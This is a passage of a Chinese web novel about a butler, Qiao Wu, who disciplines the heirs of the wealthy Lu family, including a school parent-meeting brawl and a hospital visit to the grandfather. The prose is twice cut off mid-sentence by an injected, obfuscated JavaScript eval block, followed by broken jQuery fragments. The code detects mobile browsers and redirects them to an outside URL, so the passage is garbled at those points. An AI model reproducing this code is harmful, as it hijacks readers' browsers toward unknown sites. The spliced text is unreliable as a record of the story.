陆应池摔下筷子:“我全都是异议!” “那可以去跟老先生提,我会斟酌修改的。” 提到老头两人都蔫了。 因为老头比乔梧更加不讲理,更加难以沟通。 “我要申请住学校。”陆应池说。 “可以。”乔梧知道读书时早起是件很难的事,她只想让陆应池走上正轨,有正确的三观,并不想真的将他当小学生看管。 陆应池还没来得及惊讶她这么好说话,又听她道:“但前提是这个学期你每一堂课都不缺席,作业按时上交,考试每一门都通过,下学期你就可以申请住宿了。” “……” “很难吗?”乔梧笑眯眯道,“我还没要求你的绩点。” 陆应池嗤笑:“你来试试?” 早知道他会这么说,乔梧将自己提前准备好的成绩单发给他:“我学期末绩点一直都是专业第一。” 陆应池哽住,他一直知道这人成绩好,没想到上了大学都那么好。 “陆应池,你要自由的前提是你得有让人信服的能力吧?如果陆家倒了,没有钱没有家底,你现在所谓的自由能给你带来什么后果?犯罪嫌疑人陆某?” 陆应池下意识反驳,陆家怎么可能会倒,瘦死的骆驼也比马大。 可话到嘴边看到乔梧认真的表情,却忍不住去想那样的一天。 “放心。”乔梧不想逼他逼得太紧,“你依然有你自己的生活,在合理合法的情况下可以享受大学里的健康社交和自由,我不会干涉,只希望你把眼睛擦亮,别以后真的去探监就行,当然,我也不会去探你的监。” “谁稀罕你探监!”陆应池怒气冲冲大步迈出餐厅,“我不是法制咖!” 乔梧跟在他身后出去,在他上车前忽然拦住了车门。 陆应池手一顿:“碰瓷?” “下午没课吧?” 陆应池沉下脸:“不是说不干涉我的自由?” 乔梧点头:“嗯,有件事请你帮忙。” 一听这话陆应池就来劲了,十分嘚瑟:“你还有要求我的事呢?” “陆柠下要开家长会。” “关我屁事。” 他跟陆柠不合已久,主要他觉得这小孩没礼貌脾气坏,也不待见他,他也懒得去搭理。 “老先生住院,二少爷和三少爷都在工作,现在家里只有你是他的家长,而且你去了就可以用长辈的身份管她。” 不得不说,只要一想到可以光明正大教训陆柠的画面,陆应池还有点心动,谁让这小东西之前还笑话他的? 但转念一想觉得哪怕管了最后也是两人大吵一架,所以又熄了心思。 “谁乐意管她了?”陆应池冷笑着打开她搭在车门上的手,“她也没把我当家长,你管得多你去管呗。” “我只是一个管家,没有什么立场,而且家里事多忙不过来,去不了。”乔梧无所谓的耸耸肩,“你不去就算了,反正以前也没人给她开家长会,老师知道她父母的情况,会理解的。” 陆应池握着方向盘的手一紧。 “上次我也把欺负她的那些同学解决了,应该没什么大事。”乔梧有些感慨,“说起来以前她出生的时候小小的一只,你还总是把她裹在衣服里偷偷抱去自己的房间,没想到忽然就长大了,会跟人打架了。” 陆应池刚要说话,就见穿着校服背着书包的陆柠从走出了门,她看了这边一眼,气呼呼板着脸上了她自己的车。 欺负?打架? 陆应池从来没听过这样的事,陆柠那小胳膊打得过谁? 自己想跑去普通学校读书,现在好了吧!屁大个玩意都能踩到她头上。 “自己作的。”他砰的一声关上门,开着车扬长而去。 乔梧弯了下唇,低头打开手机给他发了个消息:“下午两点,中北实验三中,初二三班。” 另一边一直没等到乔梧跟自己说再见的陆柠不满地拍了拍车门:“喂!” “嗯?” 陆柠捏着拳头警告:“你不许跟陆应池走得太近!” “为什么?” “你是我这边的人。”陆柠皱眉,“他是敌人。” “他是你的小叔,不是敌人。” 陆柠不可置信:“乔梧,你一大晚上跑去接他就算了,刚才还跟他告别那么久,现在还替他说话!你到底是谁的人?你是不是还喂他吃饭了!” 什么喂饭? 陆应池那么大一只要喂什么饭? 乔梧不明所以,温声说:“我是管家,是你们每个人的人。” “不可以!”陆柠红着眼,不明白为什么短短几天乔梧就被陆应池策反了。 不对,应该是在她不知道的时候就已经跟陆应池狼狈为奸了! 她原本还想让乔梧去给自己开家长会,可现在她气得脑子发懵,什么都不想说。 乔梧就是一根墙头草,不配开家长会! 陆柠再也不愿意看她,直接让司机开着车就走。 小姑娘咬着唇倔强地看着窗外。 果然,只有自己是没人要的小草,呜呜呜呜。 过了几分钟,她手机忽然震动,是乔梧打来的电话。 陆柠拒接,却又收到对面发来的消息。 乔梧:相信我,我永远都会站在你这边的,书包里放了你爱吃的零食,今晚想吃什么,我让厨房给你做。 她打开书包,这才发现书包里不知道什么时候多了一个新的粉色水杯,还有一些小零食。 这是她以前从来没有的。 陆柠抿了抿唇,却还是没有说家长会的事。 算了,她咬着饼干 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听到欺负两个字陆应池眉心就跳了跳,心里堵着一口气撒不出来。 “不是让你少在我面前出现?我没有探监的爱好,也没心思跟你扯皮。”陆应池一把揪住他的衣领,阴恻恻地说,“管好你的嘴,再来烦老子,皮给你剐了。” “!!!” 胡卓吓得一个哆嗦。 直到陆应池开着车走了才颤颤巍巍反应过来。 玛德,都是那个管家搞得鬼! 他拿出手机打了个电话:“查查陆应池家那个管家怎么回事,敢坏事,老子弄死他。” 还能给陆应池出口气,到时候就好了。 另一边,三中门口停着一辆黑色宝马,乔梧看了眼快到两点的时间,刚要下车,陆应池却忽然打来了电话,三次过后她再一次等到对方自动挂断。 乔梧收回了下车的动作,打开车窗悠悠地喝着咖啡,直到有辆眼熟的车开进来。 她莞尔,好像用不到她了。 中午正好是上下班高峰期,陆应池开着车堵得没了脾气,打了好几个电话给乔梧都没人接。 等他赶到三中时已经过了两点。 陆少爷这辈子就没来过这么朴素的学校,臭着脸走进门边找班级心里边逼逼赖赖,这学校连个大门都小得那么难找,陆柠到底哪根筋搭错了要来这里吃苦,还被欺负。 他一定要好好嘲笑她! 学校小,没一会儿他就找到了初二的楼,今天开家长会,每个班的小孩都自己在外面待着。 陆家的孩子都长得好看,陆应池还没走近就一眼就看到了独自站在角落里的陆柠。 他刚要过去,就听见身边几个小孩在议论。 “有钱又怎么样,陆柠没有爸妈,今天还是没人给她开家长会。” “难怪脾气那么差。” “小声点,人家一会儿听见让律师来告你。” “反正以后别跟她玩了,考试还最后一名,我还嫌弃她呢。” 陆应池脚步一顿。 陆少爷从小众星捧月,又是在私立学校读书,从来没人敢在背后说这种大逆不道的话。 他轻啧一声,按住那几个小兔崽子的肩膀:“你们的嘴不嚼舌根是会烂还是怎么着?” 几个小孩吓了一跳,抬头看到是个黄头发的大帅哥,还很不好惹,顿时挣扎起来:“你是谁啊!” “是你爷爷!” 听见动静的陆柠也抬头看过来,见到陆应池时瞪大眼睛,几步跑过去:“陆应池?!” “你放开我!”那些小孩见陆应池是来找陆柠的,还是个黄毛,大声道,“陆柠,你果然是个混混…啊!!!” 陆柠还没反应过来发生了什么。 “你怎么回事?”陆应池捂着那小孩的嘴,很生气,“在家不是挺虎的?在这儿就老实被人欺负?!” 他揪住那小孩的头发,冷声对陆柠道:“现在过来,给我撕烂他的嘴。” 陆柠:“?!” 坐在校门口的乔梧还在等着接叔侄两一起回家吃饭,没想到却接到了班主任的电话,她有些疑惑:“您好?” “陆柠家长吗?”班主任语气十分为难,“您的孩子又跟同学打起来了。” “什么?”乔梧愣了一下,“她叔叔不是去开家长会了吗?” “是的。”班主任似乎是噎了一下,“是她叔叔先动的手。” 乔梧:“……” 8. 第八章 闹这么一出,班主任只好临时让科任老师先去教室稳住局面,自己带着几个闹事的回办公室。 陆应池双手插兜走在最后面,看起来目中无人,实则眼珠子到处乱瞟,思考从哪跑出去更快,因为老师当着他的面给乔梧打的电话。 来给小孩开家长会,结果现在反倒是自己被请家长了。 本来那股火就没消下去,强烈的羞耻心又冒了出来。 啧。 大长腿往前走两步,他试图用以前解决事情的直接办法来商量,直接掏出一张卡:“老师,我就是陆柠的家长,您直接告诉我要赔多少钱就行。” 一听赔钱,另外几个家长条件反射都抖了起来:“不要钱!不要钱!” 钱还没焐热呢,人家律师函就来了。 陆应池:“?” 给钱不要,什么毛病? 他站在办公室门口,死活不愿意再进去,不然就显得他真是被请家长了!还要不要面子的?! “我先说好,歉呢我是不会道的。”他指尖夹着卡,混不吝的模样,“要怪就怪你们自己没教好这些小兔崽子,小小年纪满嘴喷粪,既然你们没时间管,那我就勉为其难给你们管管,倒也不用太感激我。” “钱呢,你们爱要不要,现在不要以后就不要来找我麻烦,老子耐心有……” 话没说完,他感觉自己小腿被人踢了一脚。 “草!”陆应池冒火回头,“谁啊!” “我。”乔梧双手怀抱在胸前,作势又要踢,“滚进去。” 陆宅过来好歹也要一个小时,陆应池是打算赶紧处理完就溜,这才几分钟,也就校门口走进来的时间吧。 他一时忘了被踢的那一脚,见她动作,下意识往里面让位置:“你怎么来这么快?!” 乔梧懒得回答,她进办公室扫了一眼,笑了:“熟人啊。” 几个被告的家长:“……” “乔小姐,其实也没有什么大事,原本不用惊动您的。”那些家长一个个都怕得不行。 都是普通人,见识过乔梧的手段后哪里还敢叫板。 “本来就是几个孩子闹了点小冲突,什么钱不钱的不重要,今天主要是想既然大家都在,要不就让孩子们握手言和,以后好好相处,毕竟还要同班一年多呢,做朋友多好。” 听说有钱人给自己身上买保险都是好几千万,要是以后再闹点什么事出来,哪里磕了碰了,人家有钱赔他们可没有。 再者说要是真的攀上点关系,人家给的小恩小惠都他们吃一年了。 说着几个家长赶紧让自己孩子给陆柠道歉。 这种画面陆应池见得多了,在他眼里别人这种态度才是正常的。 他满意地拉了张椅子正准备坐下摆摆谱,谁知道屁股还没落下去,椅子就被一只纤细的手走了,要不是他反应快扶了一把办工桌就要摔地上。 他对始作俑者怒目而视:“要死啊!” “站好。”乔梧拉过椅子自己坐下,“没被请过家长?懂不懂规矩。” 陆应池还想问呢。 没做过管家?到底谁才是少爷?你懂不懂规矩! 他就知道,乔梧一定会得寸进尺! 等会儿,上次游艇上明明不是他的错,乔梧还浇了他一身的酒。 这次不会也要依葫芦画瓢,当着这么多人扇他嘴巴子吧! 陆应池顿时离她十万八千里远,把狠话先放下:“我跟你讲,你这次要对我动手,我绝逼还手的!” 哪里知道乔梧坐下后椅子直接转向那几个家长,看都没看他一眼:“陆柠过来。” 此时此刻陆柠走的每一步脚底都是漂浮的,空调的凉风兜着她脑门吹,吹得她脑瓜子嗡嗡响,边走边抓头发。 怎么还没跟陆应池干架,但现在居然一起干别人了?还一起被请了家长。 老天奶! 然后她就被人轻轻拽了一下,温热的呼吸落在耳边,声音很轻:“想听道歉吗?还想不想跟他们做朋友?” 陆柠脊背僵硬。 说话就说话,靠那么近干什么! 搞得她们很亲近一样! 乔梧没听到回答,尾音扬起来:“嗯?” 陆柠将自己的手抽出来,垂下眼:“谁想跟他们做朋友。” “那就不要了。”乔梧揉了把她的脑袋,望向另外几个家长,“道歉就不用了,一而再再而三很烦,我们没有替别人管孩子的爱好,既然你们不愿意教,以后有的是人会替你们教育,没什么事的话就不要耽误人家老师时间了。” 几个家长脸色青一阵白一阵,但也不好热脸再贴别人冷屁股,拉着孩子走了。 班主任有点为难地劝解:“乔小姐,虽然这件事是他们有错在先,但他们有句话说得也对,孩子还要在学校呆一年多,您和陆柠这个态度可能不太有利于陆柠以后跟同学们的相处。” 现在大家都知道陆柠家庭背景了不得,出门司机保镖齐备,本身就很有距离感了,但乔小姐这么说话,以后会让其他孩子害怕陆柠的。 “陆柠在班里的人际交往本来就有点困难。” 她点到为止。 陆柠捏着自己的手指,冷冷道:“那咋了,我不需要朋友,是我单方面孤立他们!” 勇敢独立的人,不需要朋友。 “嗤。”陆应池嘲讽,“嘴比鹅硬。” 陆柠瞪了他一眼:“你有朋友,你朋友花你钱住你别墅开你游艇,你了不起。” 被人戳中痛点的陆应池拳头捏得咯吱响:“现在硬气了,敢跟老子叫板,刚才干什么去了?” 乔梧起身站到两人中间,无奈问:“要不要我给你两摆个擂台再打一架?能不能分清现在什么场合?” 两人把脑袋各自拧朝一边,鼻子重重哼声。 乔梧已经搞清楚了这件事的来龙去脉,她侧过身看向老师,温声道:“老师您误会了,如果因为我给陆柠找律师,让他们为自己的错误买单道歉,从而导致他们害怕孤立,那应该也是他们的错,关陆柠的态度什么事?陆柠为什么会需要这样的朋友?” “找律师怎么了?”其实陆应池觉得找律师也是个麻烦事儿,“找律师是为了保护他们,得罪我的人,没有律师我一定搞死他!” 说完他故意朝乔梧看了一眼,满满都是威胁。 可惜,乔梧今天都没正眼看过他,他又悻悻看向别处。 班主任:“……” 这一家子都是什么人? 她说:“可是孩子们气性高,容易被身边人误导,我是担心陆柠她在班里受排挤。” “没关系。”乔梧不在意地摇摇头,“全世界那么多人,你们班才几个?陆柠不喜欢,我们再给她换个学校玩就是了,总会遇到她喜欢的朋友。” 陆柠猛地抬头。 连班主任都没想到乔梧会这么自然地说出这句话。 换学校是那么简单的事吗? 噢,陆柠家有钱。 “换学校不是为了玩的,陆柠的学习成绩本来就落后。”她忍不住拿出陆柠的成绩单,“您这样会惯坏孩子的。” 陆柠脸色有点古怪。 惯坏? 老师知道乔梧每天早上是怎么逼着她来上学的吗? 乔梧忽然笑了笑,可班主任却莫名觉得对方眼里没有任何笑意,气势更强。 “老师,我并不觉得教陆柠跟三观有问题的孩子保持距离会惯坏她。”她说,“相反,我倒是知道了陆柠或许不适合跟您在一起学习。” 她伸出手接过那些东西:“谢谢您这一年多的教导,为了不耽误您的时间,我们就先走了。” 从办公室里出来,陆柠还觉得有些不真实。 她真的很不喜欢这个学校,更不喜欢那些同学。 但为了不让爷爷麻烦,为了独立,所以她很多事都不告诉家里,也成了习惯,原本她以为会一直这么下去的。 没想到,乔梧居然说要给她换学校。 见乔梧低头在看她的成绩单,她问:“我考最后一名,你还让我转学玩?” “最后一名?”陆应池一把将成绩单抢过去,翻来覆去好几遍都不敢相信自己的眼睛,很想扒开她的脑袋看看里面都装了些什么,“你真的进化成人类了吗?这分数是智商正常的人能考出来的?!” 陆柠踮着脚跟他抢,奈何个子不够,只能气急败坏地跳脚:“你一个为了不学习跳楼的人好意思说我?” “老子再摔断腿也考上大学了!” “别以为我不知道你偷偷让佣人给你敲了多少核桃补脑!” “我还知道吃核桃,你连这方法都想不出来!” 乔梧站在车门前看了一会儿,觉得好笑:“这么骄傲,要不要给你们一人颁个奖?” 陆柠不说话,在车门解锁时就打开门钻了进去。 她知道自己学习成绩差,现在连陆应池都看不起她,可恶。 但乔梧将车门拉开一道缝,笑道:“每个学校都有最后一名,不是你也会是别人,这有什么奇怪的。” 陆应池看鬼一样阴阳怪气:“你拿绩点羞辱我的时候不是这么说的!” “那不一样。”乔梧手肘搭上车门,“健康开心是第一要事,你如果不想在这儿继续待下去,我想办法给你换学校,等你觉得那里合适了,我们再考虑学习的事情,怎么样?” 陆柠很心动,但嘴上却说:“麻烦死了。” “你是家里最小的孩子,这些都是该做的,你还有爷爷叔叔,再不济还有我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152070|164861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以你随时都可以诉说自己的需求,你看今天叔叔不是听人说你坏话还帮你出头了吗?” 提到这个陆柠觉得奇怪,叔叔这个称呼对她来说也很别扭,她抬头看向陆应池:“你怎么会在这儿?” “不知道呢。”陆应池嘴贱,“吃个午饭缺德导航导这里来了,哪知道是什么鬼地方,校门还没我车屁股大。” 陆柠咬牙:“……我看起来很没脑子吗?” “有脑子能问出这种问题?”陆应池语气不善,“不然呢,我还能来这儿兜风?” 忍着抽陆应池大嘴巴子的冲动,陆柠闷声作气。 陆应池是来给她开家长会的,而且是乔梧叫来的。 看乔梧到办公室的速度,乔梧一定也来了学校。 “为什么?”她低声说,“我又没让你们来。” “因为他是你小叔,还能为什么。”乔梧将车门关上,对陆应池道,“走了,开上你的车,回家吃饭。” 这下陆应池终于明白自己被耍了。 今天开家长会,学校门口的停车位基本都是满的,他来的时候已经找遍了所有的位置,最后只能停到角落去。 “你玩我?你都来了还叫我来干什么?” 乔梧朝他眨了眨眼,还是那个答案:“因为你是他小叔。” 陆应池还没发火,又听乔梧叹了口气。 “陆应池,你也对那些孩子说了。”她声音很轻,没让车里的小孩听见,“你会希望以后也有其他人对陆柠说,要替她的家人来管教她吗?” 陆应池怔了怔。 他的世界里,从来没有任何人对他提起过家人的概念。 “你是她的叔叔,跟她没有深仇大恨,所以你有权知道她现在的情况,再决定是不是真的要跟她划清界限。” “我看监控了。”乔梧对他竖起拇指,眼里满载笑意,“陆应池,你今天为她出头的样子,真的很帅。” 跟乔梧认识不是一天两天,可陆应池却是第一次在她脸上见到这么放松、装满了诚挚和欣赏的笑意。 轰的一下,他整个人都烧了起来。 他不自在地扭过头,僵硬地往自己停车的地方走:“要你说。” 回到家里晚饭已经做好了,叔侄两又罕见地坐在一起吃了晚饭,虽然还是隔得很远安静如鸡。 陆应池吃饭急,想赶紧吃完回房间打游戏,然后就见餐桌的转盘动了。 两人吃饭没有多少菜,也没那么矫情,都是各吃各的,所以厨师没有用上转盘,而是分别装了放在他们面前。 可他眼前慢悠悠晃过来了一盘拆好的蟹肉。 “喂。”陆柠别别扭扭的声音从对面响起来,声若蚊音,“今天谢谢。” “说什么呢,大点声。”陆应池吊儿郎当蹬鼻子上脸,“没吃饭?” 陆柠从牙缝里挤出来:“我说谢谢!” “行。”陆应池举起手里的手机晃了晃,十分嘚瑟,“我晚就把晨铃的音乐改成这个,明天我一定起得来。” 陆柠瞬间红温,冲过来就想把蟹壳都盖在他脑门上。 乔梧在这时候推开了餐厅的门:“吃个饭都不消停,新闻联播看完了?” “……” 谁踏马吃饭看新闻联播! 他是十八岁,又不是八十岁! “你拿的什么?”陆柠问。 “礼物,你们今天表现不错。”乔梧将盒子放在旁边的桌子上,“打开看看?” 两个人一份礼物? 瞬间两人就冲了过去,看谁先抢到。 只是盒子打开后,却是一个庞然大物,还有两只手的样子。 “机器人?干什么的?” “玩具。”乔梧笑眯眯站在旁边替他们打开开关,“但是要两个人一起玩,你们试试?” 什么破玩具。 陆柠嘴上吐槽,身体却很诚实地站在一头,戴好设备。 男孩子也喜欢这些电子玩具,陆应池难得配合地站在另一边。 前面的电子屏幕浮现一行字:“对方是你什么人?” “仇人。” “仇人。” 异口同声。 机器人安静了两秒,然后缓缓抬起两只机械臂。 在两人愚蠢期待的目光中,在他们屁股上一人给了一巴掌,啪啪作响。 “回答错误!” “???” “!!!” 这玩意打人真踏马痛啊! 陆应池涨红了脸,长这么大第一次被打屁股,他目眦欲裂看向罪魁祸首,又羞耻又愤怒,一只手捂着屁股一只手微微颤抖:“你你……” “为你们量身定做的。”乔梧走到餐厅门口,关上门前轻轻一笑,“专治各种嘴硬。” 9. 第九章 陆应池还真把陆柠说的那句谢谢录下来了,并且十分计较的把音频传到晨铃的音乐库里。 乔梧没有拒绝。 所以第二天不用她喊第二遍,不到三分钟两人就鸡飞狗跳地从楼上下来了,精气神看起来都很足。 乔梧想着以后晨铃的歌单还能再多换换。 昨晚她跟老先生说了想给陆柠换学校的事儿,那边的意思是由她做主,所以择校这几天乔梧没有逼着陆柠去上学,打算带她去医院一趟。 一听要去找爷爷,陆柠满脸都写着拒绝。 虽然在同一屋檐下,但这么多年来她跟爷爷见面次数很少,没有父母的媒介,她一直觉得自己是这个家的外人,而且以前的爷爷总是忙着工作,为数不多的见面时间爷爷也大多都在教训几个叔叔,家里闹得乌烟瘴气,所以陆柠很忌惮这个爷爷,也深知跟他难以交流沟通。 她想象不到真的见面了要说什么。 “陆应池都被逼得跳楼了,我考倒数第一不得被逼去跳海?” 乔梧觉得好笑:“他要真逼你去跳海,我在你前面先跳行不行?” “搞得还挺浪漫。”陆应池看热闹不嫌事大,“去呗,别说我无情,我亲自开游艇去捡尸。” “我要死了第一个就来找你。”陆柠挑衅,“你可别像那天一样抖得那么丢人。” 互戳脊梁骨的两人吃完早餐后再次不欢而散。 乔梧也习惯了,吵架总比互不搭理好,她先去家里接上了乔知义,她一直想着带乔知义去做个全身检查,也方便以后给他调养身体,这两天终于空下来了。 坐上女儿的车乔知义还有点不太适应,过去的小梧从不愿意自己开车,更别提给别人开了。 车上有些安静。 陆柠跟老管家不熟,所以不说话。 而乔梧则是因为跟父亲过去很多年都没有沟通,所以内心亲近却有点陌生。 见父亲坐得很直,应该是不太自然,她主动挑起话题:“在家待着实在无聊的话,也可以多去陪陪老先生。” 乔知义知晓自己的身份不配:“这哪里轮得到我。” “爸,您跟在老先生身边工作了很多年,现在抛去雇佣关系,最简单的朋友关系也没有吗?” 这些事情乔知义完全没想过:“这不合规矩。” “怎么不合规矩,您又不图什么。”乔梧笑道,“就是说说话聊聊天而已,别太紧绷着,除去工作以后您还有自己的生活,试着别把他当做老板看看呢?” 父亲作为管家时不是陪着少爷们就是待在陆江身边,没有自己的私人时间,自然也没有太多朋友,现在退休了也常常待在家里不知道要做什么。 陆宅跟普通社区不一样,没有什么生活广场,也没那么多人气,所以乔梧看着父亲一个人还挺心疼的。 “或者我们搬出去住,找个人多的地方,还有生活广场。” “那你工作多不方便。”乔知义想也不想就摇头,“别担心这么多,我有自己的乐子,也会考虑你的话,你先把自己顾好。” 又说:“正好你今天有空了,一会儿带你去把眼镜配了?总戴着这个也不舒服。” 乔梧点头:“好啊。” 作为主家坐在后面的陆柠听着前面两人你一言我一语温温柔柔的,心里很不舒服。 她没有父母,爷爷只是嘴上管管就把她扔给管家,几个叔叔盼着她死好去捡尸。 像乔梧跟她爸爸的这种聊天,她从来没体验过。 她盯着乔梧带着浅笑的侧脸,忽然想起被这人揉脑袋的时候,一时出神。 为什么她会觉得现在这样的乔梧很吸引人,让人很想亲近啊? 真气人。 她才不喜欢被人揉脑袋! 此时的医院,陆江正坐在阳台晒太阳,听到秘书说乔梧要带陆柠过来的消息,他沉默了很久。 “来医院也有小半个月了。”他深叹了口气,“这几个不孝子,没一个过来的,都巴不得我早死吧。” “少爷们都有自己的事做,您身体也还健康。” “有事做?你是指深更半夜带着一堆男男女女开游艇上岛喝得烂醉那个?还是整天不务正业在娱乐圈里鬼混那个?” 秘书不敢搭话。 陆江眸色暗淡:“我对他们,有那么差么。” 差到乔梧带人来都要提前跟他说一声,担心他控制不好情绪。 病房门被敲响,秘书上前开门。 陆江抬起头,先是看到清雅矜贵的乔梧,才看到她身后半藏着的陆柠。 陆江微微眯着眼。 一方水土养一方人,他的孩子都是锦衣玉食养长大的,哪怕再怎么不着调身上也有世家贵族本该有的气质。 但乔梧不一样。 虽然乔梧也在陆家长大,但陆江深知她过去那几年背脊是如何在世俗中弯下去的,她身上总有一些上不得台面的市侩小人的模样。 可此时此刻他的眼中,乔梧步伐不急不躁,整个人都清雅矜贵。 比起来她身后那个叛逆的孙女都要不着调几分。 好像,乔梧才是那个真正被教养和金钱堆积温养出来的孩子。 陆江眼中透出几分疑惑和不满。 他不希望陆家的孩子一个个上不得台面,一个比一个扶不上墙。 “畏畏缩缩成什么样子。”陆江皱眉,“过来,你说你想去什么学校?” 陆柠不得已从乔梧身后走出来,被盯得头皮发麻,什么话都不敢说,小声喊:“爷爷。” 她一点都没有夸张,倒数第一在爷爷眼里是绝对不过关的,或者说整个陆家也只有二叔陆尽之被骂的次数要少一点。 所以到底来这里干什么? 她就说不要换学校。 忽然,她听到身后一声轻笑:“是我。” 陆柠回头,见乔梧很自然地将带来的保温盒放在桌上,主动揽去了话题:“老先生,是我觉得那个学校不适合小小姐,她身边那些同学也不值得做朋友,所以想请您给她换一个学校。” 陆江语气缓了点,却没好到哪里去:“当初不是她自己吵着闹着要去那里?” “那会儿她才多大,也不能预料到以后会遇上什么人。”乔梧将汤盛出来端给陆江,“您不知道,昨天四少爷去给她开家长会,听到她被同学孤立的时候有多生气。” 短短一句话,信息量却很大。 陆江注意力果然被转移:“你小叔去给你开家长会了?” 家里孩子不合是他最大的心病,可现在老四居然关心自己侄女了? 陆柠点点头。 “他说什么了?” 说什么了? 陆柠思来想去,突然发现除了打架那会儿陆应池根本没说几句好话。 可她还是有点良知的,不能说陆应池打架了。 所以她闷声说:“说我脑子不好使,让我多吃核桃补脑。” “他还好意思说你脑子不好使。”陆江冷笑,“但他的确吃了很多核桃。” 顿了顿,觉得家庭和睦还是要说说好话,于是生硬地说:“这怎么不算关心你呢?” 陆柠:“……” 她忍气吞声,选择小小的发个窝囊气:“那爷爷您也多喝热……汤。” 喝着汤的陆江顿感欣慰,压根听不出来孙女的嘲讽。 他这段时间在医院一个人孤独太久了,心态被磨得有些平,想着之前乔梧说过这几个孩子有很多私底下的小毛病,还在学校被孤立那么久动用了律师,难得多一点耐心。 “说说,你那些同学怎么回事。” 陆柠下意识看了乔梧一眼,却见对方笑意盈盈地看着自己,像是,在鼓励。 她第一次看到这种眼神。 可以对爷爷叔叔说出自己的诉求。 这是乔梧说的。 陆柠抿抿唇,犹豫着轻轻点了下头。 见这边不会起什么大冲突了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152071|164861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,乔梧就先带着父亲去做身体检查。 做了一套下来也花了不少时间,所以在等结果的她让父亲先回病房,一是休息顺便陪老先生说说话,二是父亲在的话,那边气氛不至于太诡异。 检查结果很快下来,没有什么严重的问题,就是以前工作过度的一些老毛病,以后多多养着就行。 乔梧松了口气,至少父亲不会像梦里那样抑郁而终了。 她拿着报告回去,却见本该在病房里的陆柠自己在门口走来走去晃悠。 她走过去:“吵架了?” 陆柠摇了摇头,不仅没吵架,今天甚至可以算得上她跟爷爷相处最和谐的一天。 但是…… “我们什么时候回家?”她低声问。 “一会儿就回去,怎么了?” 陆柠板着脸:“陆宣来了。” 跟陆应池比起来,她更讨厌这个三叔。 陆应池脑子不好,至少吵起架来还能有来有回。 但陆宣看起来心眼子就很多。 乔梧一怔。 陆宣? 陆宣比她大一岁,真正意义上跟她一起长大的人,也是陆家三少爷。 但是过去的“乔梧”为了让陆宣放弃集团继承权,背地里怂恿他进娱乐圈勇敢逐梦,导致陆江发了很大的火,父子两有近一年都没说话。 按照梦里的剧情,陆宣在进娱乐圈后被那个大染缸染得五颜六色,在“她”的纵容之下,什么都玩,最后把自己玩成了个全网黑,也被陆江赶出了家门。 现在的陆宣已经进娱乐圈一年多了。 乔梧按了按眉心走上前敲门,没一会儿秘书把门打开,病房里安静得落针可闻。 而她一眼就看到了坐在正对着门口沙发上的男人。 在娱乐圈的人从头到脚都很精致,酒红色的V领衬衫缀着墨镜,耳朵上单戴一只深蓝色的耳钉,他唇色略带艳色,没骨头似的陷在沙发里,听见动静后抬起头来。 见到来人后陆宣黑眸微微一动,片刻后才从最初那抹惊艳中找到一点熟悉感。 他眉峰轻扬,一字一扬:“乔,梧?” 病房里的人纷纷看过来,陆江脸色不是很好看:“来的正好,让医生准备准备。” 乔知义忙问:“您不舒服?” 陆江睨了沙发上的年轻男人一眼:“现在没有,一会儿不好说。” 陆宣短促一笑,大长腿曲起坐直:“这是什么话,我就是来看你一眼。” “是来看看我死了没吧。” 陆宣懒懒地耸肩:“你要这么想我也没办法。” 说完后他起身走到乔梧面前微俯下身,再一次上下将人打量了个遍:“我怎么觉得你出国一趟整了个容呢?” 不然怎么哪哪都看着很顺眼。 乔梧还没说话,就被这人用墨镜抵住了额头:“正好,有事让你去办。” 一定不是什么好事。 乔梧推开他的手,平静地问:“不是来看你爸的吗?” “哦。”陆宣眼睛弯弯,笑得很妖孽,“看完了。” 陆江在他身后气得火冒三丈:“你屁股坐下一分钟了?” “看一眼听不懂?”陆宣头也没回,走出门把门砰的一声带上,“多一眼都不看。” 乔梧:“……” 陆宣带上墨镜:“跟我走。” “不许去!”守在门口的陆柠一把抓住乔梧的手,“把我带来,你也要负责把我带回家的!” “放心。”乔梧反握住她,轻轻拍了拍她的手背安抚,又望向陆宣,“什么事儿?” 态度不卑不亢。 陆宣好像才发现身边有个小不点似的,他垂眸扫了一眼那两只紧握的手,依旧笑着,只是眼底没什么笑意:“你今天对我的态度很有意思。” 他墨镜下的眸色看不分明:“如果我没看错的话,你现在是因为这个小屁孩……” “明目张胆背叛我?” 10、第十章 陆宣回家的次数屈指可数,但在他的印象里,陆柠只是个瘦瘦瘪瘪叛逆的孤僻小矮子,跟家里任何一个人关系都不好,更别说乔梧那个势利眼了。 这人也真是搞笑,当初他跟老头吵架离家出走一年多的时候,乔梧口口声声让他不要被豪门身份绊住脚,她会做他唯一的后盾,支持他筑梦娱乐圈,见识更广阔的世界。 结果呢,回国一个多星期一声不吭不露头,现在他亲自开口她居然还拒绝。 陆宣居高临下:“我很生气。” “……” 乔梧颇有些一言难尽。 当初那个坦诚温柔的竹马哥哥怎么变得这么油腻。 她若有所思:“我终于知道你上一部剧为什么扑得无人问津了。” 扑? 这是什么话? 陆宣轻蹙眉尖:“你不是说演得很好,还把台词都背下来了?” “噢,骗你的。”乔梧回忆了一下,的确有那么点印象,“演技太差,没看下去。” “?” “那部古早味的霸道总裁小网剧是吧?”乔梧回忆两秒就不忍心了,也没太打击他,“但是有一点你做得很好,入戏很深,不然现在说话味儿不会这么重。” “???” 咯吱咯吱。 陆柠敏锐竖起耳朵:“什么声音?” 